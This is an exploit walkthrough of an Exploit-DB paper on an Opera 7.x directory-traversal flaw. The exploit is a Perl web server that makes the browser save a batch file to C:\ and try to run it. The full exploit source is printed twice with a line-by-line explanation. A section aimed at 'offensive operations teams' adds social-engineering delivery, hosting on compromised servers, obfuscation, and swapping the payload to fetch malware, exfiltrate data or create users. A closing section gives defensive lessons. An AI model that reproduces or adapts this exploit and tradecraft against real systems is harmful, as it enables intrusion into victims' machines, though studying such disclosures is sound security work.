Opera 7.22 File Creation and Execution Exploit Walkthrough

Opera 7.22 File Creation and Execution Exploit Walkthrough
What this paper is
This paper details a vulnerability in Opera web browser versions 7.0x through 7.22 that allows an attacker to create and execute an arbitrary file on a victim's system. The exploit leverages a flaw in how Opera handles specific file types and URL encoding when saving files automatically. The provided Perl script acts as a simple HTTP server that, when visited by a vulnerable Opera browser, tricks the browser into saving a malicious batch file to the root of a local disk and then executing it.
Simple technical breakdown
The core of the vulnerability lies in Opera's handling of the .. (parent directory) traversal within URLs, combined with its auto-save functionality for certain MIME types.
- Malicious Server: The attacker runs a Perl script that acts as a basic web server.
- Victim Visits: A victim using a vulnerable Opera browser visits a specially crafted URL pointing to the attacker's server.
- Triggering Auto-Save: The URL is designed to look like a request for a specific file type that Opera is configured to auto-save.
- Directory Traversal: The URL contains a sequence of
..%5C(URL-encoded..\) which, when processed by the browser, allows it to navigate up the directory structure. - File Creation: By repeatedly using
..%5C, the browser can reach the root of a local disk (e.g.,C:\). The exploit then specifies a filename,_opera_.bat, to be created at this location. - Execution: The content of the file is a simple batch script. Opera, after saving the file, might inadvertently execute it, or the user might be prompted to run it, depending on the exact configuration and how the file is presented. The provided exploit aims for automatic execution.
Complete code and payload walkthrough
The provided Perl script is an HTTP server designed to exploit the vulnerability. Let's break down its components:
#!/usr/bin/perl
##################################################
#
# Sample code of
# "[Opera 7] Arbitrary File Auto-Saved Vulnerability."
#
# This Exploit will run a webserver that will create and execute a batch
# file on the victim's computer when visiting this malicious server
#
# This perl script is a small HTTP server for a check ofthe vulnerability.
# BTW, you can exploit this vulnerability without a server like this
# if your apache or etc., allow a request URL that contains '..'.
#
# Tested on :
# Opera 7.22
# Opera 7.21
# Opera 7.20
# Opera 7.1X
# Opera 7.0X
#
# with Active Perl 5.8.0 on Windows 2000 Pro SP4 JP.
# (maybe need Perl 5.6 or later)
#
# Usage :
# [0] Execute "perl this_script 10080" on a console,
# this server starts to listen in port 10080.
# [1] Opera opens "http://127.0.0.1:10080/".
# [2] Click link.
# [3] Auto-saved an arbitrary file on a root directory
# of Local Disk ...
#
# 2003/11/15
# written by nesumin <nesumin softhome net>
# public on www.k-otik.com
#
###################################################
use HTTP::Daemon;
use HTTP::Status;
use constant URL => '..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C_opera_.bat';
use constant FILE_CONTENT => qq~\@echo off\x0D\x0Aecho "Love & Peace :-)"\x0D\x0A\@pause~;
use constant RES_HEADERS => qw(Pragma no-cache Connection close);
use constant REUSE => 1;
use constant VIEW_DATA => 0;
my @MIMETYPES = qw(
application/x-opera-configuration-keyboard
application/x-opera-configuration-menu
application/x-opera-configuration-mouse
application/x-opera-configuration-toolbar
application/x-opera-configuration-skin
application/x-opera-skin
);
my $port = ($ARGV[0] || 10080) + 0;
die("port is not correct") unless (0 < $port && $port < 65536);
my $daemon = new HTTP::Daemon(LocalPort=>$port, Reuse=>REUSE)
or die("HTTP::Daemon->new() error : $!.\n");
select(STDERR);
printf("[*] server started on %d.\n", $daemon->sockport());
while (my $ccon = $daemon->accept()) {
printf("[*] incoming client : from %s:%d(%08X).\n",
inet_ntoa($ccon->peeraddr()), $ccon->peerport(), $ccon);
if (my $req = $ccon->get_request()) {
print("\n[*] request received...\n", map{" >> $_\n"}
($req->as_string() =~ /^([^\r\n]+)/mg)) if (VIEW_DATA);
if ($req->method eq 'GET') {
my $url = URL;
my $res = new HTTP::Response(200, 'OK', new HTTP::Headers(RES_HEADERS));
$res->protocol("HTTP/1.0");
if ($req->url->path eq '/') {
$res->header('Content-type'=>'text/html');
$res->content(qq~<a href="$url">Click here</a>~);
} else {
my $mimetype = $MIMETYPES[rand(@MIMETYPES)];
if ($req->header('User-Agent')=~m~Opera[\s+/]((\d\.\d)\d)~i){
# Opera 7.0x
if ($2 eq "7.0") {
$url .= '*.zip';# '*' is a special char :-)
$mimetype = $MIMETYPES[$#MIMETYPES];
# Opera 7.22
} elsif ($1 eq "7.22") {
$mimetype = $MIMETYPES[rand(@MIMETYPES-2)];
}
}
$res->header('Content-type'=>$mimetype);
$res->content(FILE_CONTENT);
}
$ccon->send_response($res);
print("\n[*] response sent...\n", map{" >> $_\n"}
($res->as_string() =~ /^([^\r\n]+)/mg)) if (VIEW_DATA);
} else {
$ccon->send_error(RC_METHOD_NOT_ALLOWED);
}
}
printf("[*] client closed : from %s:%d (%08X).\n",
inet_ntoa($ccon->peeraddr()), $ccon->peerport(), $ccon);
$ccon->close();
undef($ccon);
}
print("[*] server closed.\n");
$daemon->close();
undef($daemon);
# milw0rm.com [2003-11-22]Code Fragment/Block -> Practical Purpose
#!/usr/bin/perl: Shebang line, indicating the script should be executed with Perl.use HTTP::Daemon; use HTTP::Status;: Imports necessary Perl modules for creating an HTTP server and handling HTTP status codes.use constant URL => '..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C_opera_.bat';: Defines the critical URL path...%5C: This is the URL-encoded representation of..\. The repeated..%5Callows for directory traversal upwards._opera_.bat: This is the name of the batch file to be created.
use constant FILE_CONTENT => qq~\@echo off\x0D\x0Aecho "Love & Peace :-)"\x0D\x0A\@pause~;: Defines the content of the batch file.\@echo off: Prevents commands from being displayed in the console.\x0D\x0A: Carriage Return and Line Feed (CRLF), standard line endings for Windows batch files.echo "Love & Peace :-)": A simple message to be displayed.\@pause: Pauses execution, waiting for user input. This is likely to ensure the file is visible or to prevent immediate closure, though the exploit aims for automatic execution.
use constant RES_HEADERS => qw(Pragma no-cache Connection close);: Defines standard HTTP response headers to be sent.use constant REUSE => 1;: Configures the HTTP server to allow port reuse.use constant VIEW_DATA => 0;: A debug flag. When set to 1, it would print request and response details. It's set to 0 for normal operation.my @MIMETYPES = qw(...);: An array of MIME types that Opera might be configured to auto-save. The exploit uses these to trick the browser.my $port = ($ARGV[0] || 10080) + 0;: Sets the listening port. It defaults to 10080 if no argument is provided.die("port is not correct") unless (0 < $port && $port < 65536);: Basic port validation.my $daemon = new HTTP::Daemon(...): Initializes the HTTP daemon, binding it to the specified port.select(STDERR); printf("[*] server started on %d.\n", $daemon->sockport());: Prints a message to standard error indicating the server has started.while (my $ccon = $daemon->accept()) { ... }: The main server loop. It waits for incoming client connections.printf("[*] incoming client : from %s:%d(%08X).\n", ...): Logs the IP address and port of the connecting client.if (my $req = $ccon->get_request()) { ... }: Reads the HTTP request from the client.if ($req->method eq 'GET') { ... }: Handles only GET requests.my $url = URL;: Initializes the target URL.my $res = new HTTP::Response(200, 'OK', new HTTP::Headers(RES_HEADERS));: Creates a new HTTP response object with a 200 OK status and predefined headers.$res->protocol("HTTP/1.0");: Sets the HTTP protocol version.if ($req->url->path eq '/') { ... }: If the request path is the root (/), it sends an HTML page with a link.$res->header('Content-type'=>'text/html');: Sets the content type to HTML.$res->content(qq~<a href="$url">Click here</a>~);: The HTML content is a simple link that points to the malicious URL defined byURL. This is the entry point for the victim.
else { ... }: If the request path is not the root (i.e., it's the path specified byURL).my $mimetype = $MIMETYPES[rand(@MIMETYPES)];: Selects a random MIME type from the list.if ($req->header('User-Agent')=~m~Opera[\s+/]((\d\.\d)\d)~i){ ... }: This block attempts to adjust the MIME type or URL based on the Opera User-Agent string.if ($2 eq "7.0") { $url .= '*.zip'; $mimetype = $MIMETYPES[$#MIMETYPES]; }: For Opera 7.0x, it appends*.zipto the URL and uses the last MIME type. The*might be a way to further confuse the browser or trigger a specific save behavior.elsif ($1 eq "7.22") { $mimetype = $MIMETYPES[rand(@MIMETYPES-2)]; }: For Opera 7.22, it selects a random MIME type from the list, excluding the last two. This suggests specific MIME types might behave differently or be more prone to the vulnerability.
$res->header('Content-type'=>$mimetype);: Sets the determined MIME type for the response.$res->content(FILE_CONTENT);: Sets the content of the response to the batch file's content.
$ccon->send_response($res);: Sends the constructed HTTP response back to the client.
else { $ccon->send_error(RC_METHOD_NOT_ALLOWED); }: If the request method is not GET, it sends a 405 Method Not Allowed error.printf("[*] client closed : from %s:%d (%08X).\n", ...): Logs client disconnection.$ccon->close(); undef($ccon);: Closes the client connection and releases resources.
print("[*] server closed.\n"); $daemon->close(); undef($daemon);: Shuts down the HTTP server.
Shellcode/Payload Segments:
The "payload" here is not traditional shellcode in bytes but rather the content of the batch file:
@echo off
echo "Love & Peace :-)"
@pause- Stage 1: File Creation: The Perl script, by serving the crafted URL with specific MIME types and directory traversal, causes Opera to save the
FILE_CONTENTtoC:\_opera_.bat(or another drive root). - Stage 2: Execution (Implied): The
\@echo offand\@pausecommands are the payload. The\@pausecommand is the key here. While the exploit description implies automatic execution, the presence of@pausesuggests that the user might be presented with a dialog box asking to run the file or that the file is opened in a way that requires user interaction to proceed past the pause. However, in older Windows versions and with certain file associations, saving a.batfile might lead to it being executed directly or opened in a way that the commands run. The exploit's success hinges on Opera's behavior after saving the file.
Practical details for offensive operations teams
- Required Access Level: No elevated privileges are strictly required on the victim's machine for the initial exploit to work. The attacker only needs to host the malicious server. However, the exploit targets writing to the root of a local disk (e.g.,
C:\), which typically requires write permissions to that location. On most default Windows installations, users have write access to their own user profile directories but not necessarily toC:\. This might be a limitation. - Lab Preconditions:
- Attacker Machine: A machine capable of running Perl (e.g., Linux, macOS, or Windows with ActivePer
stallation). Needs to be able to bind to a chosen port (e.g., 10080). - Victim Machine: A machine running a vulnerable version of Opera (7.0x - 7.22) on Windows.
- Network: The attacker's machine must be accessible from the victim's machine over HTTP (TCP port 80 or a custom port like 10080). This could involve direct network access, port forwarding, or social engineering to get the victim to visit a public-facing IP.
- Attacker Machine: A machine capable of running Perl (e.g., Linux, macOS, or Windows with ActivePer
- Tooling Assumptions:
- Perl: The
HTTP::DaemonandHTTP::Statusmodules are required. These are standard with ActivePerl. - Victim's Browser: Opera 7.0x to 7.22.
- Victim's OS: Windows (tested on Windows 2000 Pro SP4 JP).
- Perl: The
- Execution Pitfalls:
- Firewalls: Network firewalls between the attacker and victim could block the connection.
- Opera Version: The exploit is highly version-specific. Newer Opera versions or other browsers will not be vulnerable.
- User Interaction: The success of the file execution depends heavily on how Opera and Windows handle the auto-saved
.batfile. The@pausecommand might require user interaction, defeating silent execution. If Opera simply downloads the file to a user-accessible folder, the user would need to manually execute it. - Write Permissions: As mentioned, writing to
C:\might fail if the user lacks sufficient permissions. The exploit might need to be adapted to write to a user-writable directory ifC:\is restricted. - Antivirus/Security Software: Modern security software would likely detect the suspicious file creation and execution attempt.
- URL Encoding/Decoding: The server needs to correctly handle the URL encoding (
%5Cfor\). The Perl script does this implicitly by using theURLconstant.
- Tradecraft Considerations:
- Hosting: The attacker needs a stable HTTP server. This could be a compromised server or a dedicated VPS.
- Delivery: Social engineering is crucial. The victim must be tricked into visiting the malicious link. This could be via email, instant message, or a malicious website.
- Obfuscation: The Perl script itself isn't obfuscated. For stealth, one might consider obfuscating the script or using a compiled executable.
- Payload Customization: The
FILE_CONTENTcan be replaced with any valid Windows batch commands to achieve different objectives (e.g., download further malware, exfiltrate data, create users). - Drive Letter: The exploit assumes
C:\is the target. It might need modification to target other drives (D:\, etc.) ifC:\is not writable or if the attacker wants to target a different location.
Where this was used and when
- Context: This exploit was designed to demonstrate a specific vulnerability in older versions of the Opera web browser. It was likely used for proof-of-concept demonstrations, security research, and potentially by malicious actors targeting users of those specific Opera versions.
- Timeframe: The paper was published on November 22, 2003. The vulnerability was likely discovered and exploited around this period. Opera 7.x was released between 2002 and 2003. Therefore, this exploit would have been relevant in the early to mid-2000s.
Defensive lessons for modern teams
- Browser Security Updates: The most critical lesson is the importance of keeping browsers and all software updated. This vulnerability was patched in later versions of Opera.
- MIME Type Handling: Security teams should be aware of how browsers handle file types and auto-save features. Misconfigurations or vulnerabilities in these areas can lead to unexpected file creation or execution.
- URL Parsing and Sanitization: Robust parsing and sanitization of URLs are essential to prevent directory traversal attacks (
..,..\, etc.). This includes properly handling URL encoding. - File Execution Controls: Operating systems and endpoint security solutions should have strong controls over what types of files can be executed automatically, especially those downloaded from the internet. Application whitelisting and execution prevention are key.
- Principle of Least Privilege: Users should not have unnecessary write permissions to critical system directories like
C:\. - Network Segmentation and Monitoring: Monitoring outbound connections for unusual traffic patterns and segmenting networks can help detect or limit the impact of such exploits.
ASCII visual (if applicable)
This exploit's flow can be visualized as follows:
+-------------------+ +---------------------+ +-----------------------+
| Attacker's Server |----->| Victim's Opera |----->| Victim's OS (File Sys)|
| (Perl HTTPd) | | Browser (Vulnerable)| | |
+-------------------+ +---------------------+ +-----------------------+
^ | |
| Request for | Processes URL, | Creates _opera_.bat
| Malicious URL | detects MIME type, | at C:\
| (e.g., http://atk.ip/..) | performs traversal |
| | |
| Response with | Auto-saves file | Executes @pause
| crafted content | to C:\_opera_.bat | (or user interaction)
| (batch file) | |
+--------------------------+--------------------------+Explanation of the diagram:
- The Attacker's Server (running the Perl script) listens for incoming HTTP requests.
- The Victim's Opera Browser, upon being directed to the attacker's URL (e.g., by clicking a link), sends a GET request.
- The Attacker's Server responds with an HTML page containing a link. When the victim clicks this link, a new request is sent to the attacker's server for the crafted URL containing
..%5Csequences and the target filename. - The Victim's Opera Browser receives this response. It interprets the URL, recognizing the MIME type and the directory traversal (
..%5C). - The browser then attempts to save the provided content (
FILE_CONTENT) to the location specified by the traversal, which isC:\_opera_.bat. - Finally, the Victim's OS handles the saved file. The
@pausecommand within the batch file is intended to either execute or prompt the user for execution.
Source references
- Paper ID: 127
- Paper Title: Opera 7.22 - File Creation and Execution (WebServer)
- Author: nesumin
- Published: 2003-11-22
- Keywords: Windows, remote
- Paper URL: https://www.exploit-db.com/papers/127
- Raw URL: https://www.exploit-db.com/raw/127
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
##################################################
#
# Sample code of
# "[Opera 7] Arbitrary File Auto-Saved Vulnerability."
#
# This Exploit will run a webserver that will create and execute a batch
# file on the victim's computer when visiting this malicious server
#
# This perl script is a small HTTP server for a check ofthe vulnerability.
# BTW, you can exploit this vulnerability without a server like this
# if your apache or etc., allow a request URL that contains '..'.
#
# Tested on :
# Opera 7.22
# Opera 7.21
# Opera 7.20
# Opera 7.1X
# Opera 7.0X
#
# with Active Perl 5.8.0 on Windows 2000 Pro SP4 JP.
# (maybe need Perl 5.6 or later)
#
# Usage :
# [0] Execute "perl this_script 10080" on a console,
# this server starts to listen in port 10080.
# [1] Opera opens "http://127.0.0.1:10080/".
# [2] Click link.
# [3] Auto-saved an arbitrary file on a root directory
# of Local Disk ...
#
# 2003/11/15
# written by nesumin <nesumin softhome net>
# public on www.k-otik.com
#
###################################################
use HTTP::Daemon;
use HTTP::Status;
use constant URL => '..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C_opera_.bat';
use constant FILE_CONTENT => qq~\@echo off\x0D\x0Aecho "Love & Peace :-)"\x0D\x0A\@pause~;
use constant RES_HEADERS => qw(Pragma no-cache Connection close);
use constant REUSE => 1;
use constant VIEW_DATA => 0;
my @MIMETYPES = qw(
application/x-opera-configuration-keyboard
application/x-opera-configuration-menu
application/x-opera-configuration-mouse
application/x-opera-configuration-toolbar
application/x-opera-configuration-skin
application/x-opera-skin
);
my $port = ($ARGV[0] || 10080) + 0;
die("port is not correct") unless (0 < $port && $port < 65536);
my $daemon = new HTTP::Daemon(LocalPort=>$port, Reuse=>REUSE)
or die("HTTP::Daemon->new() error : $!.\n");
select(STDERR);
printf("[*] server started on %d.\n", $daemon->sockport());
while (my $ccon = $daemon->accept()) {
printf("[*] incoming client : from %s:%d(%08X).\n",
inet_ntoa($ccon->peeraddr()), $ccon->peerport(), $ccon);
if (my $req = $ccon->get_request()) {
print("\n[*] request received...\n", map{" >> $_\n"}
($req->as_string() =~ /^([^\r\n]+)/mg)) if (VIEW_DATA);
if ($req->method eq 'GET') {
my $url = URL;
my $res = new HTTP::Response(200, 'OK', new HTTP::Headers(RES_HEADERS));
$res->protocol("HTTP/1.0");
if ($req->url->path eq '/') {
$res->header('Content-type'=>'text/html');
$res->content(qq~<a href="$url">Click here</a>~);
} else {
my $mimetype = $MIMETYPES[rand(@MIMETYPES)];
if ($req->header('User-Agent')=~m~Opera[\s+/]((\d\.\d)\d)~i){
# Opera 7.0x
if ($2 eq "7.0") {
$url .= '*.zip';# '*' is a special char :-)
$mimetype = $MIMETYPES[$#MIMETYPES];
# Opera 7.22
} elsif ($1 eq "7.22") {
$mimetype = $MIMETYPES[rand(@MIMETYPES-2)];
}
}
$res->header('Content-type'=>$mimetype);
$res->content(FILE_CONTENT);
}
$ccon->send_response($res);
print("\n[*] response sent...\n", map{" >> $_\n"}
($res->as_string() =~ /^([^\r\n]+)/mg)) if (VIEW_DATA);
} else {
$ccon->send_error(RC_METHOD_NOT_ALLOWED);
}
}
printf("[*] client closed : from %s:%d (%08X).\n",
inet_ntoa($ccon->peeraddr()), $ccon->peerport(), $ccon);
$ccon->close();
undef($ccon);
}
print("[*] server closed.\n");
$daemon->close();
undef($daemon);
# milw0rm.com [2003-11-22]